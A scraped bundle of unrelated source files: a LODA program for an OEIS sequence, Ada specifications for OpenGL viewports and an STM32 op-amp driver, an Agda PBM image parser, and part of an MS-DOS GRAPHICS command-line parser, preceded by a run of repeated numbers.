37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
programs/oeis/017/A017251.asm
neoneye/loda
22
95047
; A017251: a(n) = (9*n+7)^7. ; 823543,268435456,6103515625,52523350144,271818611107,1028071702528,3142742836021,8235430000000,19203908986159,40867559636992,80798284478113,150363025899136,266001988046875,450766669594624,736141813551277,1164175380274048,1789940649848551,2684354560000000,3937376385699289,5661610866627712,7996339888664083,11112006825558016,15215177646953125,20554002898923904,27424204663190047,36175612601171968,47219273189051281,61035156250000000,78180482889742219,99298698941612032,125129118027271453,156517258339252096,194425897251484375,239946867863977984,294313621587817417,358914580876636288,435307306210734211,525233501440000000,630634881591804949,753669927250029952,896731549611390223,1062465690325221376,1253790880222890625,1473918781042996864,1726375734258523387,2015025341112107008,2344092097965587341,2718186111070000000,3142328914862177479,3621980417894121472,4163067000501310393,4772010788316105856,5455760125732421875,6221821273427820544,7078291354049197957,8033892570168224128,9098007718612700671,10280717025280000000,11592836324538749809,13045956607324926592,14652484962038521963,16425686932346945536,18379730316001328125,20529730428771889024,22891796857608531127,25483081727132827648,28321829503567564201,31427428360210000000,34820463128555011939,38522769859174285312,42557492016457714933,46949138331323180416,51723642336000859375,56908423604998242304,62532450726352012897,68626306027272957568,75222252078290067931,82354300000000000000,90058279596528053869,98371911339806837632,107334880228778779303,116988911547628650496,127377848547152265625,138547732073367520384,150546882167473933267,163425981661266853888,177238161792112501861,192039089861590000000,207887058961906565599,224843079794192023552,242970974602778805073,262337473249573595776,283012311452626796875,305068331213005963264,328581583454079382237,353631432897315956608,380300665198707555991,408675596369920000000,438846184508278837129,470906143859696083072 mul $0,9 add $0,7 pow $0,7
orka/src/gl/interface/gl-viewports.ads
onox/orka
52
2089
<gh_stars>10-100 -- SPDX-License-Identifier: Apache-2.0 -- -- Copyright (c) 2013 <NAME> <<EMAIL>> -- Copyright (c) 2017 onox <<EMAIL>> -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. with GL.Types; private with GL.Low_Level; package GL.Viewports is pragma Preelaborate; use GL.Types; ----------------------------------------------------------------------------- -- Viewports -- ----------------------------------------------------------------------------- type Viewport is record X, Y, Width, Height : Single; end record; type Depth_Range is record Near, Far : Double; end record; type Scissor_Rectangle is record Left, Bottom : Int; Width, Height : Size; end record; type Viewport_List is array (UInt range <>) of Viewport with Convention => C; type Depth_Range_List is array (UInt range <>) of Depth_Range with Convention => C; type Scissor_Rectangle_List is array (UInt range <>) of Scissor_Rectangle with Convention => C; function Maximum_Viewports return Size with Post => Maximum_Viewports'Result >= 16; function Viewport_Subpixel_Bits return Size; function Origin_Range return Singles.Vector2; -- Return the minimum and maximum X and Y of the origin (lower left -- corner) of a viewport function Maximum_Extent return Singles.Vector2; -- Return the maximum width and height of a viewport procedure Set_Viewports (List : Viewport_List); function Get_Viewport (Index : UInt) return Viewport; procedure Set_Depth_Ranges (List : Depth_Range_List); function Get_Depth_Range (Index : UInt) return Depth_Range; procedure Set_Scissor_Rectangles (List : Scissor_Rectangle_List); function Get_Scissor_Rectangle (Index : UInt) return Scissor_Rectangle; ----------------------------------------------------------------------------- -- Clipping -- ----------------------------------------------------------------------------- type Viewport_Origin is (Lower_Left, Upper_Left); type Depth_Mode is (Negative_One_To_One, Zero_To_One); procedure Set_Clipping (Origin : Viewport_Origin; Depth : Depth_Mode); -- Set the origin of the viewport and the range of the clip planes -- -- Controls how clip space is mapped to window space. Both Direct3D and -- OpenGL expect a vertex position of (-1, -1) to map to the lower-left -- corner of the viewport. -- -- Direct3D expects the UV coordinate of (0, 0) to correspond to the -- upper-left corner of a randered image, while OpenGL expects it in -- the lower-left corner. function Origin return Viewport_Origin; function Depth return Depth_Mode; private for Viewport_Origin use (Lower_Left => 16#8CA1#, Upper_Left => 16#8CA2#); for Viewport_Origin'Size use Low_Level.Enum'Size; for Depth_Mode use (Negative_One_To_One => 16#935E#, Zero_To_One => 16#935F#); for Depth_Mode'Size use Low_Level.Enum'Size; end GL.Viewports;
ADL/drivers/stm32f334/stm32-opamp.ads
JCGobbi/Nucleo-STM32F334R8
0
3387
private with STM32_SVD.SYSCFG; package STM32.OPAMP is type Operational_Amplifier is limited private; procedure Enable (This : in out Operational_Amplifier) with Post => Enabled (This); procedure Disable (This : in out Operational_Amplifier) with Post => not Enabled (This); function Enabled (This : Operational_Amplifier) return Boolean; type NI_Input_Mode is (Normal_Mode, Calibration_Mode); procedure Set_NI_Input_Mode (This : in out Operational_Amplifier; Input : NI_Input_Mode) with Post => Get_NI_Input_Mode (This) = Input; -- Select a calibration reference voltage on non-inverting input and -- disables external connections. function Get_NI_Input_Mode (This : Operational_Amplifier) return NI_Input_Mode; -- Return the source connected to the non-inverting input of the -- operational amplifier. type NI_Input_Port is (PB14, PB0, PA7); for NI_Input_Port use (PB14 => 2#01#, PB0 => 2#10#, PA7 => 2#11#); procedure Set_NI_Input_Port (This : in out Operational_Amplifier; Input : NI_Input_Port) with Post => Get_NI_Input_Port (This) = Input; -- Select the source connected to the non-inverting input of the -- operational amplifier. function Get_NI_Input_Port (This : Operational_Amplifier) return NI_Input_Port; -- Return the source connected to the non-inverting input of the -- operational amplifier. type NI_Sec_Input_Port is (PB14, PB0, PA7); for NI_Sec_Input_Port use (PB14 => 2#01#, PB0 => 2#10#, PA7 => 2#11#); procedure Set_NI_Sec_Input_Port (This : in out Operational_Amplifier; Input : NI_Sec_Input_Port) with Post => Get_NI_Sec_Input_Port (This) = Input; -- Select the secondary source connected to the non-inverting input -- of the operational amplifier. function Get_NI_Sec_Input_Port (This : Operational_Amplifier) return NI_Sec_Input_Port; -- Return the secondary source connected to the non-inverting input -- of the operational amplifier. type I_Input_Port is (PC5_VM0, PA5_VM1, Feedback_Resistor_PGA_Mode, Follower_Mode); procedure Set_I_Input_Port (This : in out Operational_Amplifier; Input : I_Input_Port) with Post => Get_I_Input_Port (This) = Input; -- Select the source connected to the inverting input of the -- operational amplifier. function Get_I_Input_Port (This : Operational_Amplifier) return I_Input_Port; -- Return the source connected to the inverting input of the -- operational amplifier. type I_Sec_Input_Port is (PC5_VM0, PA5_VM1); procedure Set_I_Sec_Input_Port (This : in out Operational_Amplifier; Input : I_Sec_Input_Port) with Post => Get_I_Sec_Input_Port (This) = Input; -- Select the secondary source connected to the inverting input of the -- operational amplifier. function Get_I_Sec_Input_Port (This : Operational_Amplifier) return I_Sec_Input_Port; -- Return the secondary source connected to the inverting input of the -- operational amplifier. type Input_Mux_Mode is (Manual, Automatic); -- Timer controlled mux mode. procedure Set_Input_Mux_Mode (This : in out Operational_Amplifier; Input : Input_Mux_Mode) with Post => Get_Input_Mux_Mode (This) = Input; -- Select automatically the switch between the default selection -- (VP_SEL and VM_SEL) and the secondary selection (VPS_SEL and VMS_SEL) -- of the inverting and non inverting inputs of the operational amplifier. function Get_Input_Mux_Mode (This : Operational_Amplifier) return Input_Mux_Mode; -- Return the selection of the selection between the default and the -- secondary inputs of the inverting and non inverting inputs of the -- operational amplifier. type PGA_Mode_Gain is (NI_Gain_2, NI_Gain_4, NI_Gain_8, NI_Gain_16, NI_Gain_2_Internal_Feedback_VM0, NI_Gain_4_Internal_Feedback_VM0, NI_Gain_8_Internal_Feedback_VM0, NI_Gain_16_Internal_Feedback_VM0, NI_Gain_2_Internal_Feedback_VM1, NI_Gain_4_Internal_Feedback_VM1, NI_Gain_8_Internal_Feedback_VM1, NI_Gain_16_Internal_Feedback_VM1); -- Gain in PGA mode. for PGA_Mode_Gain use (NI_Gain_2 => 2#0000#, NI_Gain_4 => 2#0001#, NI_Gain_8 => 2#0010#, NI_Gain_16 => 2#0011#, NI_Gain_2_Internal_Feedback_VM0 => 2#1000#, NI_Gain_4_Internal_Feedback_VM0 => 2#1001#, NI_Gain_8_Internal_Feedback_VM0 => 2#1010#, NI_Gain_16_Internal_Feedback_VM0 => 2#1011#, NI_Gain_2_Internal_Feedback_VM1 => 2#1100#, NI_Gain_4_Internal_Feedback_VM1 => 2#1101#, NI_Gain_8_Internal_Feedback_VM1 => 2#1110#, NI_Gain_16_Internal_Feedback_VM1 => 2#1111#); procedure Set_PGA_Mode_Gain (This : in out Operational_Amplifier; Input : PGA_Mode_Gain) with Post => Get_PGA_Mode_Gain (This) = Input; -- Select the gain in PGA mode. function Get_PGA_Mode_Gain (This : Operational_Amplifier) return PGA_Mode_Gain; -- Return the gain in PGA mode. procedure Set_User_Trimming (This : in out Operational_Amplifier; Enabled : Boolean) with Post => Get_User_Trimming (This) = Enabled; -- Enable/disable user trimming. function Get_User_Trimming (This : Operational_Amplifier) return Boolean; -- Return the state of user trimming. type Differential_Pair is (NMOS, PMOS); procedure Set_Offset_Trimming (This : in out Operational_Amplifier; Pair : Differential_Pair; Input : UInt5) with Post => Get_Offset_Trimming (This, Pair) = Input; -- Select the offset trimming value for NMOS or PMOS. function Get_Offset_Trimming (This : Operational_Amplifier; Pair : Differential_Pair) return UInt5; -- Return the offset trimming value for NMOS or PMOS. type Init_Parameters is record Input_Minus : I_Input_Port; Input_Sec_Minus : I_Sec_Input_Port; Input_Plus : NI_Input_Port; Input_Sec_Plus : NI_Sec_Input_Port; Mux_Mode : Input_Mux_Mode; PGA_Mode : PGA_Mode_Gain; end record; procedure Configure_Opamp (This : in out Operational_Amplifier; Param : Init_Parameters); procedure Set_Calibration_Mode (This : in out Operational_Amplifier; Enabled : Boolean) with Post => Get_Calibration_Mode (This) = Enabled; -- Select the calibration mode connecting VM and VP to the OPAMP -- internal reference voltage. function Get_Calibration_Mode (This : Operational_Amplifier) return Boolean; -- Return the calibration mode. type Calibration_Value is (VREFOPAMP_Is_3_3_VDDA, -- 3.3% VREFOPAMP_Is_10_VDDA, -- 10% VREFOPAMP_Is_50_VDDA, -- 50% VREFOPAMP_Is_90_VDDA -- 90% ); -- Offset calibration bus to generate the internal reference voltage. procedure Set_Calibration_Value (This : in out Operational_Amplifier; Input : Calibration_Value) with Post => Get_Calibration_Value (This) = Input; -- Select the offset calibration bus used to generate the internal -- reference voltage when CALON = 1 or FORCE_VP = 1. function Get_Calibration_Value (This : Operational_Amplifier) return Calibration_Value; -- Return the offset calibration bus voltage. procedure Calibrate (This : in out Operational_Amplifier); -- Calibrate the NMOS and PMOS differential pair. This routine -- is described in the RM0364 pg. 355. The offset trim time, -- during calibration, must respect the minimum time needed -- between two steps to have 1 mV accuracy. type Internal_VRef_Output is (VRef_Is_Output, VRef_Is_Not_Output); procedure Set_Internal_VRef_Output (This : in out Operational_Amplifier; Input : Internal_VRef_Output) with Post => Get_Internal_VRef_Output (This) = Input; -- Output the internal reference voltage (VREFOPAMPx). function Get_Internal_VRef_Output (This : Operational_Amplifier) return Internal_VRef_Output; -- Return the internal output reference voltage state. type Output_Status_Flag is (NI_Lesser_Then_I, NI_Greater_Then_I); function Get_Output_Status_Flag (This : Operational_Amplifier) return Output_Status_Flag; -- Return the output status flag when the OPAMP is used as comparator -- during calibration. procedure Set_Lock_OpAmp (This : in out Operational_Amplifier) with Post => Get_Lock_OpAmp (This) = True; -- Allows to have OPAMPx_CSR register as read-only. It can only be cleared -- by a system reset. function Get_Lock_OpAmp (This : Operational_Amplifier) return Boolean; -- Return the OPAMP lock bit state. private -- representation for the whole Operationa Amplifier type ----------------- type Operational_Amplifier is limited record CSR : STM32_SVD.SYSCFG.OPAMP2_CSR_Register; end record with Volatile, Size => 1 * 32; for Operational_Amplifier use record CSR at 16#00# range 0 .. 31; end record; end STM32.OPAMP;
misc/RecursiveDescent/Hybrid/PBM.agda
yurrriq/parser-combinators
7
16407
------------------------------------------------------------------------ -- A parser for PBM images; illustrates essential use of bind ------------------------------------------------------------------------ -- Note that I am using the simple "Plain PBM" format, and I try to -- adhere to the following statement from the pbm man page: -- -- "Programs that read this format should be as lenient as possible, -- accepting anything that looks remotely like a bitmap." -- The idea to write this particular parser was taken from "The Power -- of Pi" by <NAME> Swierstra. module RecursiveDescent.Hybrid.PBM where import Data.Vec as Vec open Vec using (Vec; _++_; [_]) import Data.List as List open import Data.Nat import Data.String as String open String using (String) renaming (_++_ to _<+>_) import Data.Char as Char open Char using (Char; _==_) open import Data.Product.Record open import Data.Function open import Data.Bool open import Data.Unit open import Data.Maybe import Data.Nat.Show as N open import Relation.Nullary open import Relation.Binary.PropositionalEquality using (_≡_; refl) open import RecursiveDescent.Index open import RecursiveDescent.Hybrid open import RecursiveDescent.Hybrid.Lib open Token Char.decSetoid open import RecursiveDescent.Hybrid.Simple ------------------------------------------------------------------------ -- The PBM type data Colour : Set where white : Colour black : Colour Matrix : Set -> ℕ -> ℕ -> Set Matrix a rows cols = Vec (Vec a cols) rows record PBM : Set where field rows : ℕ cols : ℕ matrix : Matrix Colour rows cols open PBM makePBM : forall {rows cols} -> Matrix Colour rows cols -> PBM makePBM m = record { rows = _; cols = _; matrix = m } ------------------------------------------------------------------------ -- Showing PBM images showColour : Colour -> Char showColour white = '0' showColour black = '1' show : PBM -> String show i = "P1 # Generated using Agda.\n" <+> N.show (cols i) <+> " " <+> N.show (rows i) <+> "\n" <+> showMatrix (matrix i) where showMatrix = String.fromList ∘ Vec.toList ∘ Vec.concat ∘ Vec.map ((\xs -> xs ++ [ '\n' ]) ∘ Vec.map showColour) ------------------------------------------------------------------------ -- Parsing PBM images data NT : ParserType where comment : NT _ ⊤ colour : NT _ Colour pbm : NT _ PBM grammar : Grammar Char NT grammar comment = tt <$ sym '#' <⊛ sat' (not ∘ _==_ '\n') ⋆ <⊛ sym '\n' grammar colour = white <$ sym '0' ∣ black <$ sym '1' grammar pbm = w∣c ⋆ ⊛> string (String.toVec "P1") ⊛> w∣c ⋆ ⊛> number !>>= \cols -> -- _>>=_ works just as well. w∣c + ⊛> number >>= \rows -> -- _!>>=_ works just as well. w∣c ⊛> (makePBM <$> exactly rows (exactly cols (w∣c ⋆ ⊛> ! colour))) <⊛ any ⋆ where w∣c = whitespace ∣ ! comment module Example where open Vec image = makePBM ((white ∷ black ∷ []) ∷ (black ∷ white ∷ []) ∷ (black ∷ black ∷ []) ∷ []) ex₁ : parse-complete (! pbm) grammar (String.toList (show image)) ≡ List.[_] image ex₁ = refl
cmd/graphics/grparms.asm
minblock/msdos
0
176371
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1988 - 1991 ; * All Rights Reserved. ; */ PAGE ,132 ;AN000; TITLE DOS - GRAPHICS Command - Command line parsing module ;AN000; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000; ;; DOS - GRAPHICS Command ;; ;; ;AN000; ;; File Name: GRPARMS.ASM ;AN000; ;; ---------- ;AN000; ;; ;AN000; ;; Description: ;AN000; ;; ------------ ;AN000; ;; ;AN000; ;; This file contains modules for parsing the GRAPHICS.COM ;AN000; ;; command line; using the DOS PARSER. ;AN000; ;; ;AN000; ;; ;AN000; ;; Documentation Reference: ;AN000; ;; ------------------------ ;AN000; ;; OASIS High Level Design ;AN000; ;; OASIS GRAPHICS I1 Overview ;AN000; ;; DOS 3.3 Message Retriever Interface Supplement. ;AN000; ;; TUPPER I0 Document - PARSER HIGH LEVEL DESIGN REVIEW ;AN000; ;; ;AN000; ;; Procedures Contained in This File: ;AN000; ;; ---------------------------------- ;AN000; ;; PARSE_PARMS - Parse the command line ;AN000; ;; GET_R - Get /R ;AN000; ;; GET_B - Get /B ;AN000; ;; GET_LCD - Get /LCD ;AN000; ;; GET_PRINTBOX - Get /PRINTBOX ;AN000; ;; GET_PROFILE - Get the profile path and file name ;AN000; ;; GET_TYPE - Get the printer type ;AN000; ;; ;AN000; ;; Include Files Required: ;AN000; ;; ----------------------- ;AN000; ;; GRINST.EXT - Externals for installation modules ;AN000; ;; GRPARSE.EXT - Externals for the DOS parser code ;AN000; ;; GRSHAR.STR - Shared Data Area Structure ;AN000; ;; GRMSG.EQU - Equates for GRAPHICS.COM error messages ;AN000; ;; STRUC.INC - Macros for using structured assembly language ;AN000; ;; ;AN000; ;; External Procedure References: ;AN000; ;; ------------------------------ ;AN000; ;; FROM FILE GRINST.ASM: ;AN000; ;; GRAPHICS_INSTALL - Main module for the installation of GRAPHICS ;AN000; ;; SYSPARSE - DOS system parser ;AN000; ;; SYSDISPMSG - DOS message retriever ;AN000; ;; ;AN000; ;; Linkage Instructions: ;AN000; ;; -------------------- ;AN000; ;; Refer to GRAPHICS.ASM ;AN000; ;; ;AN000; ;; Change History: ;AN000; ;; --------------- ;AN000; ;; ;AN000; ;; ;AN000; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;AN000; CODE SEGMENT PUBLIC 'CODE' ;AN000; ASSUME CS:CODE,DS:CODE ;AN000; PARSE_PARMS PROC NEAR ;AN000; jmp PARSE_PARMS_START ;AN000; PUBLIC PARSE_PARMS ;AN000; EXTRN ERROR_DEVICE: WORD ; grinst.asm .XLIST ;AN000; INCLUDE GRMSG.EQU ; Include GRAPHICS error messages equates ;AN000; INCLUDE GRSHAR.STR ; Include the Shared data area structure ;AN000; INCLUDE GRINST.EXT ; Include externals for the installation module ;AN000; INCLUDE GRPARSE.EXT ; Include externals for the DOS parse code ;AN000; INCLUDE STRUC.INC ; Include macros for using STRUCTURES ;AN000; .LIST ;AN000; ;AN000; PAGE ;AN000; ;===============================================================================;AN000; ; ;AN000; ; PARSE_PARMS : PARSE THE COMMAND LINE PARAMETERS. ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; ;AN000; ; INPUT: DS,ES = SEGMENT CONTAINING THE PROGRAM PREFIX SEGMENT ;AN000;(PSP) ; ;AN000; ; OUTPUT: SWITCHES = A bit mask in the shared data area indicating ;AN000; ; which command line switches are set. ;AN000; ; PROFILE_PATH = The profile file name and path (ASCIIZ string);AN000; ; PRINTBOX_ID_PTR = Offset of the printbox id (ASCIIZ string) ;AN000; ; PRINTER_TYPE_PARM = printer type (ASCIIZ string) ;AN000; ; CARRY FLAG IS SET if an error occurred ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; ;AN000; ; DESCRIPTION: Call the DOS parser to parse the command line parameters ;AN000; ; of the GRAPHICS command line which is obtained from the PSP (Program Segment ;AN000; ; Prefix). ;AN000; ; ;AN000; ; The format of the command line is: ;AN000; ; ;AN000; ; ;AN000; ; GRAPHICS {prt_type {profile}} {/R} {/B} {[/LCD | /PRINTBOX:id]} ;AN000; ; ;AN000; ; (All arguments are optional, /PRINTBOX can be spelled /PB.) ;AN000; ; ;AN000; ; If no printer type is specified then, a null pointer is returned. ;AN000; ; If no profile name is supplied then, a null string is returned. ;AN000; ; If "/LCD" is specified then, a pointer to the printbox id: "LCD" is returned. ;AN000; ; ;AN000; ; ;AN000; ; LOGIC: ;AN000; ; Set addressibility to the command line parameters in the PSP ;AN000; ; CALL SYSPARSE ; Call the system parser ;AN000; ; While not (End Of Line) AND no error ;AN000; ; IF argument is the profile name ;AN000; ; THEN Get the profile name ;AN000; ; IF argument is the printbox switch ;AN000; ; THEN Get the printbox id ;AN000; ; IF argument is a /r ;AN000; ; THEN Get /r ;AN000; ; IF argument is /b ;AN000; ; THEN Get /b ;AN000; ; IF argument /lcd ;AN000; ; THEN Get /lcd ;AN000; ; CALL SYSPARSE ;AN000; ; If error ;AN000; ; Then display the appropriate error message ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; BIT MASK INDICATING THE COMMAND LINE SWITCHES PARSED SO FAR: ;AN000; ;-------------------------------------------------------------------------------;AN000; SWITCH_PARSED DB 0 ;AN000; GOT_R EQU 1 ; Found /R ;AN000; GOT_B EQU 2 ; Found /B ;AN000; GOT_LCD EQU 4 ; Found /LCD ;AN000; GOT_PRINTBOX EQU 8 ; Found /PB:id or /PRINTBOX:id ;AN000; ;AN000; ;===============================================================================;AN000; ; ;AN000; ; CONTROL BLOCK DEFINITIONS FOR THE PARSER: ;AN000; ; ;AN000; ;===============================================================================;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; PARMS INPUT BLOCK ;AN000; ;-------------------------------------------------------------------------------;AN000; PARMS LABEL WORD ;AN000; DW PARMSX ; Offset of parms extension block ;AN000; DB 0 ; No delimiters to define ;AN000; ; or end of line markers. ;AN000; ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; PARMS EXTENSION BLOCK : Describe what's on the command line ;AN000; ;-------------------------------------------------------------------------------;AN000; PARMSX LABEL BYTE ;AN000; DB 0,2 ; Max. 2 positional parameters ;AN000; DW TYPE_CTL ; Offset of type control block ;AN000; DW PROF_CTL ; Offset of profile control block ;AN000; ;AN000; DB 5 ; Max. 4 switch types ;AN000; DW PRINTBOX_CTL ; Offset of control for Printbox ;AN000; DW R_CTL ; Offset of control for /R ;AN000; DW B_CTL ; Offset of control for /B ;AN000; DW LCD_CTL ; Offset of control for /LCD ;AN000; DW ?_CTL ; offset of control for /? ;AN000; DB 0 ; No keywords ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; ;AN000; ; Describe the printer type parameter: ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; TYPE_CTL LABEL WORD ;AN000; DW 2001H ; Optional simple string ;AN000; DW 0002H ; Capitalize it ;AN000; DW TYPE_RESULT ; Offset of result buffer for printer type ;AN000; DW NO_VALUES ; No values (NOTE: The type returned is checked;AN000; DB 0 ; for validity by LOAD_PROFILE);AN000; ;AN000; NO_VALUES DB 0 ;AN000; ;AN000; TYPE_RESULT LABEL BYTE ;AN000; DB ? ; Type ;AN000; DB ? ; Item tag ;AN000; DW ? ; Offset of synomym ;AN000; DD ? ; Pointer to string found ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; ;AN000; ; Describe the format of the PROFILE parameter: ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; ;AN000; PROF_CTL LABEL WORD ;AN000; DW 0201H ; File spec. - Optional ;AN000; DW 0001h ; Capitalize ;AN000; DW PROFILE_RESULT ; Offset of result buffer for Profile ;AN000; DW NO_VALUES ; No values needed ;AN000; DB 0 ;AN000; ;AN000; ;AN000; PROFILE_RESULT LABEL BYTE ;AN000; DB ? ; Type ;AN000; DB ? ; Item tag ;AN000; DW ? ; Offset of synomym ;AN000; DD ? ; Offset of string ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; ;AN000; ; Describe the format of /R ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; R_CTL LABEL WORD ;AN000; DW 0 ; ;AN000; DW 0 ; ;AN000; DW R_RESULT ; Offset of result buffer for a simple switch ;AN000; DW NO_VALUES ; No values can be given with these switches. ;AN000; DB 1 ; 1 name for this switch ;AN000; DB "/R",0 ; Reverse ;AN000; ;AN000; R_RESULT LABEL BYTE ;AN000; DB ? ; Type ;AN000; DB ? ; Item tag ;AN000; DW ? ; Offset of synomym ;AN000; DD ? ; Offset of value ;AN000; ;---------------------------------------------------------------------------- ; ; Describe the format of /? ; ;---------------------------------------------------------------------------- ?_CTL LABEL WORD ;AN000; DW 0 ; ;AN000; DW 0 ; ;AN000; DW ?_RESULT ; Offset of result buffer for a simple switch DW NO_VALUES ; No values can be given with these switches. DB 1 ; 1 name for this switch DB "/?",0 ;AN000; ?_RESULT LABEL BYTE ;AN000; DB ? ; Type ;AN000; DB ? ; Item tag ;AN000; DW ? ; Offset of synomym ;AN000; DD ? ; Offset of value ;AN000; ;-------------------------------------------------------------------------------;AN000; ; ;AN000; ; Describe the format of /B ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; B_CTL LABEL WORD ;AN000; DW 0 ; ;AN000; DW 0 ; ;AN000; DW B_RESULT ; Offset of result buffer for a simple switch ;AN000; DW NO_VALUES ; No values can be given with these switches. ;AN000; DB 1 ; 1 name allowed for this switch ;AN000; DB "/B",0 ; Background ;AN000; ;AN000; B_RESULT LABEL BYTE ;AN000; DB ? ; Type ;AN000; DB ? ; Item tag ;AN000; DW ? ; Offset of synomym ;AN000; DD ? ; Offset of value ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; ;AN000; ; Describe the format of /LCD ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; LCD_CTL LABEL WORD ;AN000; DW 0 ; ;AN000; DW 0 ; ;AN000; DW LCD_RESULT ; Offset of result buffer for a /LCD ;AN000; DW NO_VALUES ; No values can be given with these switches. ;AN000; DB 1 ; 1 name: ;AN000; DB "/LCD",0 ; /LCD ;AN000; ;AN000; LCD_RESULT LABEL BYTE ;AN000; DB ? ; Type ;AN000; DB ? ; Item tag ;AN000; DW ? ; Offset of synomym ;AN000; DD ? ; Offset of value ;AN000; ;AN000; ;-------------------------------------------------------------------------------;AN000; ; ;AN000; ; Describe the format of the PRINTBOX switch: ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; PRINTBOX_CTL LABEL WORD ;AN000; DW 2001H ; Optional simple string ;AN000; DW 0001H ; Capitalize ;AN000; DW PRINTBOX_RESULT ; Offset of result buffer for Printbox ;AN000; DW NO_VALUES ; Values will be validated when loading profile ;AN000; DB 2 ; 2 synomym for this switch: ;AN000; DB "/PRINTBOX",0 ; ;AN000; DB "/PB",0 ;AN000; ;AN000; PRINTBOX_RESULT LABEL BYTE ;AN000; DB ? ; Type ;AN000; DB ? ; Item tag ;AN000; DW ? ; Offset of synomym ;AN000; DD ? ; Offset of value ;AN000; ;AN000; ;===============================================================================;AN000; ; ;AN000; ; DOS "MESSAGE RETRIEVER" Substitution list control block: ;AN000; ; ;AN000; ;-------------------------------------------------------------------------------;AN000; SUBLIST LABEL DWORD ; List for 